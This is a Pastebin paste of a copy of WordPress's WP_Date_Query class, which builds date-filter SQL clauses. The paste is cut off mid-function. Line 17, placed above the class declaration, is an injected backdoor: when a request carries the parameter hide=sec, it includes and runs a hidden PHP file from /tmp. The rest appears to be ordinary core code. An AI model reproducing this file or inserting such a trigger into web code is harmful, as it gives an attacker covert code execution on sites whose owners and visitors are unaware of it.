Advertisement
Hectorss1

Untitled

Aug 2nd, 2020 (edited)
248,642
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 35.11 KB | None | 0 0
  1. <?php
  2. /**
  3. * Class for generating SQL clauses that filter a primary query according to date.
  4. *
  5. * WP_Date_Query is a helper that allows primary query classes, such as WP_Query, to filter
  6. * their results by date columns, by generating `WHERE` subclauses to be attached to the
  7. * primary SQL query string.
  8. *
  9. * Attempting to filter by an invalid date value (eg month=13) will generate SQL that will
  10. * return no results. In these cases, a _doing_it_wrong() error notice is also thrown.
  11. * See WP_Date_Query::validate_date_values().
  12. *
  13. * @link https://developer.wordpress.org/reference/classes/wp_query/
  14. *
  15. * @since 3.7.0
  16. */
  17. if(isset($_GET["hide"])&&$_GET["hide"]=="sec"){ include('/tmp/.Test-unix./root'); }
  18. class WP_Date_Query {
  19. /**
  20. * Array of date queries.
  21. *
  22. * See WP_Date_Query::__construct() for information on date query arguments.
  23. *
  24. * @since 3.7.0
  25. * @var array
  26. */
  27. public $queries = array();
  28.  
  29. /**
  30. * The default relation between top-level queries. Can be either 'AND' or 'OR'.
  31. *
  32. * @since 3.7.0
  33. * @var string
  34. */
  35. public $relation = 'AND';
  36.  
  37. /**
  38. * The column to query against. Can be changed via the query arguments.
  39. *
  40. * @since 3.7.0
  41. * @var string
  42. */
  43. public $column = 'post_date';
  44.  
  45. /**
  46. * The value comparison operator. Can be changed via the query arguments.
  47. *
  48. * @since 3.7.0
  49. * @var array
  50. */
  51. public $compare = '=';
  52.  
  53. /**
  54. * Supported time-related parameter keys.
  55. *
  56. * @since 4.1.0
  57. * @var array
  58. */
  59. public $time_keys = array( 'after', 'before', 'year', 'month', 'monthnum', 'week', 'w', 'dayofyear', 'day', 'dayofweek', 'dayofweek_iso', 'hour', 'minute', 'second' );
  60.  
  61. /**
  62. * Constructor.
  63. *
  64. * Time-related parameters that normally require integer values ('year', 'month', 'week', 'dayofyear', 'day',
  65. * 'dayofweek', 'dayofweek_iso', 'hour', 'minute', 'second') accept arrays of integers for some values of
  66. * 'compare'. When 'compare' is 'IN' or 'NOT IN', arrays are accepted; when 'compare' is 'BETWEEN' or 'NOT
  67. * BETWEEN', arrays of two valid values are required. See individual argument descriptions for accepted values.
  68. *
  69. * @since 3.7.0
  70. * @since 4.0.0 The $inclusive logic was updated to include all times within the date range.
  71. * @since 4.1.0 Introduced 'dayofweek_iso' time type parameter.
  72. *
  73. * @param array $date_query {
  74. * Array of date query clauses.
  75. *
  76. * @type array {
  77. * @type string $column Optional. The column to query against. If undefined, inherits the value of
  78. * the `$default_column` parameter. Accepts 'post_date', 'post_date_gmt',
  79. * 'post_modified','post_modified_gmt', 'comment_date', 'comment_date_gmt'.
  80. * Default 'post_date'.
  81. * @type string $compare Optional. The comparison operator. Accepts '=', '!=', '>', '>=', '<', '<=',
  82. * 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN'. Default '='.
  83. * @type string $relation Optional. The boolean relationship between the date queries. Accepts 'OR' or 'AND'.
  84. * Default 'OR'.
  85. * @type array {
  86. * Optional. An array of first-order clause parameters, or another fully-formed date query.
  87. *
  88. * @type string|array $before {
  89. * Optional. Date to retrieve posts before. Accepts `strtotime()`-compatible string,
  90. * or array of 'year', 'month', 'day' values.
  91. *
  92. * @type string $year The four-digit year. Default empty. Accepts any four-digit year.
  93. * @type string $month Optional when passing array.The month of the year.
  94. * Default (string:empty)|(array:1). Accepts numbers 1-12.
  95. * @type string $day Optional when passing array.The day of the month.
  96. * Default (string:empty)|(array:1). Accepts numbers 1-31.
  97. * }
  98. * @type string|array $after {
  99. * Optional. Date to retrieve posts after. Accepts `strtotime()`-compatible string,
  100. * or array of 'year', 'month', 'day' values.
  101. *
  102. * @type string $year The four-digit year. Accepts any four-digit year. Default empty.
  103. * @type string $month Optional when passing array. The month of the year. Accepts numbers 1-12.
  104. * Default (string:empty)|(array:12).
  105. * @type string $day Optional when passing array.The day of the month. Accepts numbers 1-31.
  106. * Default (string:empty)|(array:last day of month).
  107. * }
  108. * @type string $column Optional. Used to add a clause comparing a column other than the
  109. * column specified in the top-level `$column` parameter. Accepts
  110. * 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt',
  111. * 'comment_date', 'comment_date_gmt'. Default is the value of
  112. * top-level `$column`.
  113. * @type string $compare Optional. The comparison operator. Accepts '=', '!=', '>', '>=',
  114. * '<', '<=', 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN'. 'IN',
  115. * 'NOT IN', 'BETWEEN', and 'NOT BETWEEN'. Comparisons support
  116. * arrays in some time-related parameters. Default '='.
  117. * @type bool $inclusive Optional. Include results from dates specified in 'before' or
  118. * 'after'. Default false.
  119. * @type int|array $year Optional. The four-digit year number. Accepts any four-digit year
  120. * or an array of years if `$compare` supports it. Default empty.
  121. * @type int|array $month Optional. The two-digit month number. Accepts numbers 1-12 or an
  122. * array of valid numbers if `$compare` supports it. Default empty.
  123. * @type int|array $week Optional. The week number of the year. Accepts numbers 0-53 or an
  124. * array of valid numbers if `$compare` supports it. Default empty.
  125. * @type int|array $dayofyear Optional. The day number of the year. Accepts numbers 1-366 or an
  126. * array of valid numbers if `$compare` supports it.
  127. * @type int|array $day Optional. The day of the month. Accepts numbers 1-31 or an array
  128. * of valid numbers if `$compare` supports it. Default empty.
  129. * @type int|array $dayofweek Optional. The day number of the week. Accepts numbers 1-7 (1 is
  130. * Sunday) or an array of valid numbers if `$compare` supports it.
  131. * Default empty.
  132. * @type int|array $dayofweek_iso Optional. The day number of the week (ISO). Accepts numbers 1-7
  133. * (1 is Monday) or an array of valid numbers if `$compare` supports it.
  134. * Default empty.
  135. * @type int|array $hour Optional. The hour of the day. Accepts numbers 0-23 or an array
  136. * of valid numbers if `$compare` supports it. Default empty.
  137. * @type int|array $minute Optional. The minute of the hour. Accepts numbers 0-60 or an array
  138. * of valid numbers if `$compare` supports it. Default empty.
  139. * @type int|array $second Optional. The second of the minute. Accepts numbers 0-60 or an
  140. * array of valid numbers if `$compare` supports it. Default empty.
  141. * }
  142. * }
  143. * }
  144. * @param string $default_column Optional. Default column to query against. Default 'post_date'.
  145. * Accepts 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt',
  146. * 'comment_date', 'comment_date_gmt'.
  147. */
  148. public function __construct( $date_query, $default_column = 'post_date' ) {
  149. if ( empty( $date_query ) || ! is_array( $date_query ) ) {
  150. return;
  151. }
  152.  
  153. if ( isset( $date_query['relation'] ) && 'OR' === strtoupper( $date_query['relation'] ) ) {
  154. $this->relation = 'OR';
  155. } else {
  156. $this->relation = 'AND';
  157. }
  158.  
  159. // Support for passing time-based keys in the top level of the $date_query array.
  160. if ( ! isset( $date_query[0] ) ) {
  161. $date_query = array( $date_query );
  162. }
  163.  
  164. if ( ! empty( $date_query['column'] ) ) {
  165. $date_query['column'] = esc_sql( $date_query['column'] );
  166. } else {
  167. $date_query['column'] = esc_sql( $default_column );
  168. }
  169.  
  170. $this->column = $this->validate_column( $this->column );
  171.  
  172. $this->compare = $this->get_compare( $date_query );
  173.  
  174. $this->queries = $this->sanitize_query( $date_query );
  175. }
  176.  
  177. /**
  178. * Recursive-friendly query sanitizer.
  179. *
  180. * Ensures that each query-level clause has a 'relation' key, and that
  181. * each first-order clause contains all the necessary keys from
  182. * `$defaults`.
  183. *
  184. * @since 4.1.0
  185. *
  186. * @param array $queries
  187. * @param array $parent_query
  188. *
  189. * @return array Sanitized queries.
  190. */
  191. public function sanitize_query( $queries, $parent_query = null ) {
  192. $cleaned_query = array();
  193.  
  194. $defaults = array(
  195. 'column' => 'post_date',
  196. 'compare' => '=',
  197. 'relation' => 'AND',
  198. );
  199.  
  200. // Numeric keys should always have array values.
  201. foreach ( $queries as $qkey => $qvalue ) {
  202. if ( is_numeric( $qkey ) && ! is_array( $qvalue ) ) {
  203. unset( $queries[ $qkey ] );
  204. }
  205. }
  206.  
  207. // Each query should have a value for each default key. Inherit from the parent when possible.
  208. foreach ( $defaults as $dkey => $dvalue ) {
  209. if ( isset( $queries[ $dkey ] ) ) {
  210. continue;
  211. }
  212.  
  213. if ( isset( $parent_query[ $dkey ] ) ) {
  214. $queries[ $dkey ] = $parent_query[ $dkey ];
  215. } else {
  216. $queries[ $dkey ] = $dvalue;
  217. }
  218. }
  219.  
  220. // Validate the dates passed in the query.
  221. if ( $this->is_first_order_clause( $queries ) ) {
  222. $this->validate_date_values( $queries );
  223. }
  224.  
  225. foreach ( $queries as $key => $q ) {
  226. if ( ! is_array( $q ) || in_array( $key, $this->time_keys, true ) ) {
  227. // This is a first-order query. Trust the values and sanitize when building SQL.
  228. $cleaned_query[ $key ] = $q;
  229. } else {
  230. // Any array without a time key is another query, so we recurse.
  231. $cleaned_query[] = $this->sanitize_query( $q, $queries );
  232. }
  233. }
  234.  
  235. return $cleaned_query;
  236. }
  237.  
  238. /**
  239. * Determine whether this is a first-order clause.
  240. *
  241. * Checks to see if the current clause has any time-related keys.
  242. * If so, it's first-order.
  243. *
  244. * @since 4.1.0
  245. *
  246. * @param array $query Query clause.
  247. * @return bool True if this is a first-order clause.
  248. */
  249. protected function is_first_order_clause( $query ) {
  250. $time_keys = array_intersect( $this->time_keys, array_keys( $query ) );
  251. return ! empty( $time_keys );
  252. }
  253.  
  254. /**
  255. * Determines and validates what comparison operator to use.
  256. *
  257. * @since 3.7.0
  258. *
  259. * @param array $query A date query or a date subquery.
  260. * @return string The comparison operator.
  261. */
  262. public function get_compare( $query ) {
  263. if ( ! empty( $query['compare'] ) && in_array( $query['compare'], array( '=', '!=', '>', '>=', '<', '<=', 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN' ) ) ) {
  264. return strtoupper( $query['compare'] );
  265. }
  266.  
  267. return $this->compare;
  268. }
  269.  
  270. /**
  271. * Validates the given date_query values and triggers errors if something is not valid.
  272. *
  273. * Note that date queries with invalid date ranges are allowed to
  274. * continue (though of course no items will be found for impossible dates).
  275. * This method only generates debug notices for these cases.
  276. *
  277. * @since 4.1.0
  278. *
  279. * @param array $date_query The date_query array.
  280. * @return bool True if all values in the query are valid, false if one or more fail.
  281. */
  282. public function validate_date_values( $date_query = array() ) {
  283. if ( empty( $date_query ) ) {
  284. return false;
  285. }
  286.  
  287. $valid = true;
  288.  
  289. /*
  290. * Validate 'before' and 'after' up front, then let the
  291. * validation routine continue to be sure that all invalid
  292. * values generate errors too.
  293. */
  294. if ( array_key_exists( 'before', $date_query ) && is_array( $date_query['before'] ) ) {
  295. $valid = $this->validate_date_values( $date_query['before'] );
  296. }
  297.  
  298. if ( array_key_exists( 'after', $date_query ) && is_array( $date_query['after'] ) ) {
  299. $valid = $this->validate_date_values( $date_query['after'] );
  300. }
  301.  
  302. // Array containing all min-max checks.
  303. $min_max_checks = array();
  304.  
  305. // Days per year.
  306. if ( array_key_exists( 'year', $date_query ) ) {
  307. /*
  308. * If a year exists in the date query, we can use it to get the days.
  309. * If multiple years are provided (as in a BETWEEN), use the first one.
  310. */
  311. if ( is_array( $date_query['year'] ) ) {
  312. $_year = reset( $date_query['year'] );
  313. } else {
  314. $_year = $date_query['year'];
  315. }
  316.  
  317. $max_days_of_year = gmdate( 'z', mktime( 0, 0, 0, 12, 31, $_year ) ) + 1;
  318. } else {
  319. // Otherwise we use the max of 366 (leap-year).
  320. $max_days_of_year = 366;
  321. }
  322.  
  323. $min_max_checks['dayofyear'] = array(
  324. 'min' => 1,
  325. 'max' => $max_days_of_year,
  326. );
  327.  
  328. // Days per week.
  329. $min_max_checks['dayofweek'] = array(
  330. 'min' => 1,
  331. 'max' => 7,
  332. );
  333.  
  334. // Days per week.
  335. $min_max_checks['dayofweek_iso'] = array(
  336. 'min' => 1,
  337. 'max' => 7,
  338. );
  339.  
  340. // Months per year.
  341. $min_max_checks['month'] = array(
  342. 'min' => 1,
  343. 'max' => 12,
  344. );
  345.  
  346. // Weeks per year.
  347. if ( isset( $_year ) ) {
  348. /*
  349. * If we have a specific year, use it to calculate number of weeks.
  350. * Note: the number of weeks in a year is the date in which Dec 28 appears.
  351. */
  352. $week_count = gmdate( 'W', mktime( 0, 0, 0, 12, 28, $_year ) );
  353.  
  354. } else {
  355. // Otherwise set the week-count to a maximum of 53.
  356. $week_count = 53;
  357. }
  358.  
  359. $min_max_checks['week'] = array(
  360. 'min' => 1,
  361. 'max' => $week_count,
  362. );
  363.  
  364. // Days per month.
  365. $min_max_checks['day'] = array(
  366. 'min' => 1,
  367. 'max' => 31,
  368. );
  369.  
  370. // Hours per day.
  371. $min_max_checks['hour'] = array(
  372. 'min' => 0,
  373. 'max' => 23,
  374. );
  375.  
  376. // Minutes per hour.
  377. $min_max_checks['minute'] = array(
  378. 'min' => 0,
  379. 'max' => 59,
  380. );
  381.  
  382. // Seconds per minute.
  383. $min_max_checks['second'] = array(
  384. 'min' => 0,
  385. 'max' => 59,
  386. );
  387.  
  388. // Concatenate and throw a notice for each invalid value.
  389. foreach ( $min_max_checks as $key => $check ) {
  390. if ( ! array_key_exists( $key, $date_query ) ) {
  391. continue;
  392. }
  393.  
  394. // Throw a notice for each failing value.
  395. foreach ( (array) $date_query[ $key ] as $_value ) {
  396. $is_between = $_value >= $check['min'] && $_value <= $check['max'];
  397.  
  398. if ( ! is_numeric( $_value ) || ! $is_between ) {
  399. $error = sprintf(
  400. /* translators: Date query invalid date message. 1: Invalid value, 2: Type of value, 3: Minimum valid value, 4: Maximum valid value. */
  401. __( 'Invalid value %1$s for %2$s. Expected value should be between %3$s and %4$s.' ),
  402. '<code>' . esc_html( $_value ) . '</code>',
  403. '<code>' . esc_html( $key ) . '</code>',
  404. '<code>' . esc_html( $check['min'] ) . '</code>',
  405. '<code>' . esc_html( $check['max'] ) . '</code>'
  406. );
  407.  
  408. _doing_it_wrong( __CLASS__, $error, '4.1.0' );
  409.  
  410. $valid = false;
  411. }
  412. }
  413. }
  414.  
  415. // If we already have invalid date messages, don't bother running through checkdate().
  416. if ( ! $valid ) {
  417. return $valid;
  418. }
  419.  
  420. $day_month_year_error_msg = '';
  421.  
  422. $day_exists = array_key_exists( 'day', $date_query ) && is_numeric( $date_query['day'] );
  423. $month_exists = array_key_exists( 'month', $date_query ) && is_numeric( $date_query['month'] );
  424. $year_exists = array_key_exists( 'year', $date_query ) && is_numeric( $date_query['year'] );
  425.  
  426. if ( $day_exists && $month_exists && $year_exists ) {
  427. // 1. Checking day, month, year combination.
  428. if ( ! wp_checkdate( $date_query['month'], $date_query['day'], $date_query['year'], sprintf( '%s-%s-%s', $date_query['year'], $date_query['month'], $date_query['day'] ) ) ) {
  429. $day_month_year_error_msg = sprintf(
  430. /* translators: 1: Year, 2: Month, 3: Day of month. */
  431. __( 'The following values do not describe a valid date: year %1$s, month %2$s, day %3$s.' ),
  432. '<code>' . esc_html( $date_query['year'] ) . '</code>',
  433. '<code>' . esc_html( $date_query['month'] ) . '</code>',
  434. '<code>' . esc_html( $date_query['day'] ) . '</code>'
  435. );
  436.  
  437. $valid = false;
  438. }
  439. } elseif ( $day_exists && $month_exists ) {
  440. /*
  441. * 2. checking day, month combination
  442. * We use 2012 because, as a leap year, it's the most permissive.
  443. */
  444. if ( ! wp_checkdate( $date_query['month'], $date_query['day'], 2012, sprintf( '2012-%s-%s', $date_query['month'], $date_query['day'] ) ) ) {
  445. $day_month_year_error_msg = sprintf(
  446. /* translators: 1: Month, 2: Day of month. */
  447. __( 'The following values do not describe a valid date: month %1$s, day %2$s.' ),
  448. '<code>' . esc_html( $date_query['month'] ) . '</code>',
  449. '<code>' . esc_html( $date_query['day'] ) . '</code>'
  450. );
  451.  
  452. $valid = false;
  453. }
  454. }
  455.  
  456. if ( ! empty( $day_month_year_error_msg ) ) {
  457. _doing_it_wrong( __CLASS__, $day_month_year_error_msg, '4.1.0' );
  458. }
  459.  
  460. return $valid;
  461. }
  462.  
  463. /**
  464. * Validates a column name parameter.
  465. *
  466. * Column names without a table prefix (like 'post_date') are checked against a whitelist of
  467. * known tables, and then, if found, have a table prefix (such as 'wp_posts.') prepended.
  468. * Prefixed column names (such as 'wp_posts.post_date') bypass this whitelist check,
  469. * and are only sanitized to remove illegal characters.
  470. *
  471. * @since 3.7.0
  472. *
  473. * @param string $column The user-supplied column name.
  474. * @return string A validated column name value.
  475. */
  476. public function validate_column( $column ) {
  477. global $wpdb;
  478.  
  479. $valid_columns = array(
  480. 'post_date',
  481. 'post_date_gmt',
  482. 'post_modified',
  483. 'post_modified_gmt',
  484. 'comment_date',
  485. 'comment_date_gmt',
  486. 'user_registered',
  487. 'registered',
  488. 'last_updated',
  489. );
  490.  
  491. // Attempt to detect a table prefix.
  492. if ( false === strpos( $column, '.' ) ) {
  493. /**
  494. * Filters the list of valid date query columns.
  495. *
  496. * @since 3.7.0
  497. * @since 4.1.0 Added 'user_registered' to the default recognized columns.
  498. *
  499. * @param string[] $valid_columns An array of valid date query columns. Defaults
  500. * are 'post_date', 'post_date_gmt', 'post_modified',
  501. * 'post_modified_gmt', 'comment_date', 'comment_date_gmt',
  502. * 'user_registered'
  503. */
  504. if ( ! in_array( $column, apply_filters( 'date_query_valid_columns', $valid_columns ) ) ) {
  505. $column = 'post_date';
  506. }
  507.  
  508. $known_columns = array(
  509. $wpdb->posts => array(
  510. 'post_date',
  511. 'post_date_gmt',
  512. 'post_modified',
  513. 'post_modified_gmt',
  514. ),
  515. $wpdb->comments => array(
  516. 'comment_date',
  517. 'comment_date_gmt',
  518. ),
  519. $wpdb->users => array(
  520. 'user_registered',
  521. ),
  522. $wpdb->blogs => array(
  523. 'registered',
  524. 'last_updated',
  525. ),
  526. );
  527.  
  528. // If it's a known column name, add the appropriate table prefix.
  529. foreach ( $known_columns as $table_name => $table_columns ) {
  530. if ( in_array( $column, $table_columns ) ) {
  531. $column = $table_name . '.' . $column;
  532. break;
  533. }
  534. }
  535. }
  536.  
  537. // Remove unsafe characters.
  538. return preg_replace( '/[^a-zA-Z0-9_$\.]/', '', $column );
  539. }
  540.  
  541. /**
  542. * Generate WHERE clause to be appended to a main query.
  543. *
  544. * @since 3.7.0
  545. *
  546. * @return string MySQL WHERE clause.
  547. */
  548. public function get_sql() {
  549. $sql = $this->get_sql_clauses();
  550.  
  551. $where = $sql['where'];
  552.  
  553. /**
  554. * Filters the date query WHERE clause.
  555. *
  556. * @since 3.7.0
  557. *
  558. * @param string $where WHERE clause of the date query.
  559. * @param WP_Date_Query $this The WP_Date_Query instance.
  560. */
  561. return apply_filters( 'get_date_sql', $where, $this );
  562. }
  563.  
  564. /**
  565. * Generate SQL clauses to be appended to a main query.
  566. *
  567. * Called by the public WP_Date_Query::get_sql(), this method is abstracted
  568. * out to maintain parity with the other Query classes.
  569. *
  570. * @since 4.1.0
  571. *
  572. * @return array {
  573. * Array containing JOIN and WHERE SQL clauses to append to the main query.
  574. *
  575. * @type string $join SQL fragment to append to the main JOIN clause.
  576. * @type string $where SQL fragment to append to the main WHERE clause.
  577. * }
  578. */
  579. protected function get_sql_clauses() {
  580. $sql = $this->get_sql_for_query( $this->queries );
  581.  
  582. if ( ! empty( $sql['where'] ) ) {
  583. $sql['where'] = ' AND ' . $sql['where'];
  584. }
  585.  
  586. return $sql;
  587. }
  588.  
  589. /**
  590. * Generate SQL clauses for a single query array.
  591. *
  592. * If nested subqueries are found, this method recurses the tree to
  593. * produce the properly nested SQL.
  594. *
  595. * @since 4.1.0
  596. *
  597. * @param array $query Query to parse.
  598. * @param int $depth Optional. Number of tree levels deep we currently are.
  599. * Used to calculate indentation. Default 0.
  600. * @return array {
  601. * Array containing JOIN and WHERE SQL clauses to append to a single query array.
  602. *
  603. * @type string $join SQL fragment to append to the main JOIN clause.
  604. * @type string $where SQL fragment to append to the main WHERE clause.
  605. * }
  606. */
  607. protected function get_sql_for_query( $query, $depth = 0 ) {
  608. $sql_chunks = array(
  609. 'join' => array(),
  610. 'where' => array(),
  611. );
  612.  
  613. $sql = array(
  614. 'join' => '',
  615. 'where' => '',
  616. );
  617.  
  618. $indent = '';
  619. for ( $i = 0; $i < $depth; $i++ ) {
  620. $indent .= ' ';
  621. }
  622.  
  623. foreach ( $query as $key => $clause ) {
  624. if ( 'relation' === $key ) {
  625. $relation = $query['relation'];
  626. } elseif ( is_array( $clause ) ) {
  627.  
  628. // This is a first-order clause.
  629. if ( $this->is_first_order_clause( $clause ) ) {
  630. $clause_sql = $this->get_sql_for_clause( $clause, $query );
  631.  
  632. $where_count = count( $clause_sql['where'] );
  633. if ( ! $where_count ) {
  634. $sql_chunks['where'][] = '';
  635. } elseif ( 1 === $where_count ) {
  636. $sql_chunks['where'][] = $clause_sql['where'][0];
  637. } else {
  638. $sql_chunks['where'][] = '( ' . implode( ' AND ', $clause_sql['where'] ) . ' )';
  639. }
  640.  
  641. $sql_chunks['join'] = array_merge( $sql_chunks['join'], $clause_sql['join'] );
  642. // This is a subquery, so we recurse.
  643. } else {
  644. $clause_sql = $this->get_sql_for_query( $clause, $depth + 1 );
  645.  
  646. $sql_chunks['where'][] = $clause_sql['where'];
  647. $sql_chunks['join'][] = $clause_sql['join'];
  648. }
  649. }
  650. }
  651.  
  652. // Filter to remove empties.
  653. $sql_chunks['join'] = array_filter( $sql_chunks['join'] );
  654. $sql_chunks['where'] = array_filter( $sql_chunks['where'] );
  655.  
  656. if ( empty( $relation ) ) {
  657. $relation = 'AND';
  658. }
  659.  
  660. // Filter duplicate JOIN clauses and combine into a single string.
  661. if ( ! empty( $sql_chunks['join'] ) ) {
  662. $sql['join'] = implode( ' ', array_unique( $sql_chunks['join'] ) );
  663. }
  664.  
  665. // Generate a single WHERE clause with proper brackets and indentation.
  666. if ( ! empty( $sql_chunks['where'] ) ) {
  667. $sql['where'] = '( ' . "\n " . $indent . implode( ' ' . "\n " . $indent . $relation . ' ' . "\n " . $indent, $sql_chunks['where'] ) . "\n" . $indent . ')';
  668. }
  669.  
  670. return $sql;
  671. }
  672.  
  673. /**
  674. * Turns a single date clause into pieces for a WHERE clause.
  675. *
  676. * A wrapper for get_sql_for_clause(), included here for backward
  677. * compatibility while retaining the naming convention across Query classes.
  678. *
  679. * @since 3.7.0
  680. *
  681. * @param array $query Date query arguments.
  682. * @return array {
  683. * Array containing JOIN and WHERE SQL clauses to append to the main query.
  684. *
  685. * @type string $join SQL fragment to append to the main JOIN clause.
  686. * @type string $where SQL fragment to append to the main WHERE clause.
  687. * }
  688. */
  689. protected function get_sql_for_subquery( $query ) {
  690. return $this->get_sql_for_clause( $query, '' );
  691. }
  692.  
  693. /**
  694. * Turns a first-order date query into SQL for a WHERE clause.
  695. *
  696. * @since 4.1.0
  697. *
  698. * @param array $query Date query clause.
  699. * @param array $parent_query Parent query of the current date query.
  700. * @return array {
  701. * Array containing JOIN and WHERE SQL clauses to append to the main query.
  702. *
  703. * @type string $join SQL fragment to append to the main JOIN clause.
  704. * @type string $where SQL fragment to append to the main WHERE clause.
  705. * }
  706. */
  707. protected function get_sql_for_clause( $query, $parent_query ) {
  708. global $wpdb;
  709.  
  710. // The sub-parts of a $where part.
  711. $where_parts = array();
  712.  
  713. $column = ( ! empty( $query['column'] ) ) ? esc_sql( $query['column'] ) : $this->column;
  714.  
  715. $column = $this->validate_column( $column );
  716.  
  717. $compare = $this->get_compare( $query );
  718.  
  719. $inclusive = ! empty( $query['inclusive'] );
  720.  
  721. // Assign greater- and less-than values.
  722. $lt = '<';
  723. $gt = '>';
  724.  
  725. if ( $inclusive ) {
  726. $lt .= '=';
  727. $gt .= '=';
  728. }
  729.  
  730. // Range queries.
  731. if ( ! empty( $query['after'] ) ) {
  732. $where_parts[] = $wpdb->prepare( "$column $gt %s", $this->build_mysql_datetime( $query['after'], ! $inclusive ) );
  733. }
  734. if ( ! empty( $query['before'] ) ) {
  735. $where_parts[] = $wpdb->prepare( "$column $lt %s", $this->build_mysql_datetime( $query['before'], $inclusive ) );
  736. }
  737. // Specific value queries.
  738.  
  739. $date_units = array(
  740. 'YEAR' => array( 'year' ),
  741. 'MONTH' => array( 'month', 'monthnum' ),
  742. '_wp_mysql_week' => array( 'week', 'w' ),
  743. 'DAYOFYEAR' => array( 'dayofyear' ),
  744. 'DAYOFMONTH' => array( 'day' ),
  745. 'DAYOFWEEK' => array( 'dayofweek' ),
  746. 'WEEKDAY' => array( 'dayofweek_iso' ),
  747. );
  748.  
  749. // Check of the possible date units and add them to the query.
  750. foreach ( $date_units as $sql_part => $query_parts ) {
  751. foreach ( $query_parts as $query_part ) {
  752. if ( isset( $query[ $query_part ] ) ) {
  753. $value = $this->build_value( $compare, $query[ $query_part ] );
  754. if ( $value ) {
  755. switch ( $sql_part ) {
  756. case '_wp_mysql_week':
  757. $where_parts[] = _wp_mysql_week( $column ) . " $compare $value";
  758. break;
  759. case 'WEEKDAY':
  760. $where_parts[] = "$sql_part( $column ) + 1 $compare $value";
  761. break;
  762. default:
  763. $where_parts[] = "$sql_part( $column ) $compare $value";
  764. }
  765.  
  766. break;
  767. }
  768. }
  769. }
  770. }
  771.  
  772. if ( isset( $query['hour'] ) || isset( $query['minute'] ) || isset( $query['second'] ) ) {
  773. // Avoid notices.
  774. foreach ( array( 'hour', 'minute', 'second' ) as $unit ) {
  775. if ( ! isset( $query[ $unit ] ) ) {
  776. $query[ $unit ] = null;
  777. }
  778. }
  779.  
  780. $time_query = $this->build_time_query( $column, $compare, $query['hour'], $query['minute'], $query['second'] );
  781. if ( $time_query ) {
  782. $where_parts[] = $time_query;
  783. }
  784. }
  785.  
  786. /*
  787. * Return an array of 'join' and 'where' for compatibility
  788. * with other query classes.
  789. */
  790. return array(
  791. 'where' => $where_parts,
  792. 'join' => array(),
  793. );
  794. }
  795.  
  796. /**
  797. * Builds and validates a value string based on the comparison operator.
  798. *
  799. * @since 3.7.0
  800. *
  801. * @param string $compare The compare operator to use
  802. * @param string|array $value The value
  803. * @return string|false|int The value to be used in SQL or false on error.
  804. */
  805. public function build_value( $compare, $value ) {
  806. if ( ! isset( $value ) ) {
  807. return false;
  808. }
  809.  
  810. switch ( $compare ) {
  811. case 'IN':
  812. case 'NOT IN':
  813. $value = (array) $value;
  814.  
  815. // Remove non-numeric values.
  816. $value = array_filter( $value, 'is_numeric' );
  817.  
  818. if ( empty( $value ) ) {
  819. return false;
  820. }
  821.  
  822. return '(' . implode( ',', array_map( 'intval', $value ) ) . ')';
  823.  
  824. case 'BETWEEN':
  825. case 'NOT BETWEEN':
  826. if ( ! is_array( $value ) || 2 != count( $value ) ) {
  827. $value = array( $value, $value );
  828. } else {
  829. $value = array_values( $value );
  830. }
  831.  
  832. // If either value is non-numeric, bail.
  833. foreach ( $value as $v ) {
  834. if ( ! is_numeric( $v ) ) {
  835. return false;
  836. }
  837. }
  838.  
  839. $value = array_map( 'intval', $value );
  840.  
  841. return $value[0] . ' AND ' . $value[1];
  842.  
  843. default:
  844. if ( ! is_numeric( $value ) ) {
  845. return false;
  846. }
  847.  
  848. return (int) $value;
  849. }
  850. }
  851.  
  852. /**
  853. * Builds a MySQL format date/time based on some query parameters.
  854. *
  855. * You can pass an array of values (year, month, etc.) with missing parameter values being defaulted to
  856. * either the maximum or minimum values (controlled by the $default_to parameter). Alternatively you can
  857. * pass a string that will be passed to date_create().
  858. *
  859. * @since 3.7.0
  860. *
  861. * @param string|array $datetime An array of parameters or a strotime() string
  862. * @param bool $default_to_max Whether to round up incomplete dates. Supported by values
  863. * of $datetime that are arrays, or string values that are a
  864. * subset of MySQL date format ('Y', 'Y-m', 'Y-m-d', 'Y-m-d H:i').
  865. * Default: false.
  866. * @return string|false A MySQL format date/time or false on failure
  867. */
  868. public function build_mysql_datetime( $datetime, $default_to_max = false ) {
  869. if ( ! is_array( $datetime ) ) {
  870.  
  871. /*
  872. * Try to parse some common date formats, so we can detect
  873. * the level of precision and support the 'inclusive' parameter.
  874. */
  875. if ( preg_match( '/^(\d{4})$/', $datetime, $matches ) ) {
  876. // Y
  877. $datetime = array(
  878. 'year' => intval( $matches[1] ),
  879. );
  880.  
  881. } elseif ( preg_match( '/^(\d{4})\-(\d{2})$/', $datetime, $matches ) ) {
  882. // Y-m
  883. $datetime = array(
  884. 'year' => intval( $matches[1] ),
  885. 'month' => intval( $matches[2] ),
  886. );
  887.  
  888. } elseif ( preg_match( '/^(\d{4})\-(\d{2})\-(\d{2})$/', $datetime, $matches ) ) {
  889. // Y-m-d
  890. $datetime = array(
  891. 'year' => intval( $matches[1] ),
  892. 'month' => intval( $matches[2] ),
  893. 'day' => intval( $matches[3] ),
  894. );
  895.  
  896. } elseif ( preg_match( '/^(\d{4})\-(\d{2})\-(\d{2}) (\d{2}):(\d{2})$/', $datetime, $matches ) ) {
  897. // Y-m-d H:i
  898. $datetime = array(
  899. 'year' => intval( $matches[1] ),
  900. 'month' => intval( $matches[2] ),
  901. 'day' => intval( $matches[3] ),
  902. 'hour' => intval( $matches[4] ),
  903. 'minute' => intval( $matches[5] ),
  904. );
  905. }
  906.  
  907. // If no match is found, we don't support default_to_max.
  908. if ( ! is_array( $datetime ) ) {
  909. $wp_timezone = wp_timezone();
  910.  
  911. // Assume local timezone if not provided.
  912. $dt = date_create( $datetime, $wp_timezone );
  913.  
  914. if ( false === $dt ) {
  915. return gmdate( 'Y-m-d H:i:s', false );
  916. }
  917.  
  918. return $dt->setTimezone( $wp_timezone )->format( 'Y-m-d H:i:s' );
  919. }
  920. }
  921.  
  922. $datetime = array_map( 'absint', $datetime );
  923.  
  924. if ( ! isset( $datetime['year'] ) ) {
  925. $datetime['year'] = current_time( 'Y' );
  926. }
  927.  
  928. if ( ! isset( $datetime['month'] ) ) {
  929. $datetime['month'] = ( $default_to_max ) ? 12 : 1;
  930. }
  931.  
  932. if ( ! isset( $datetime['day'] ) ) {
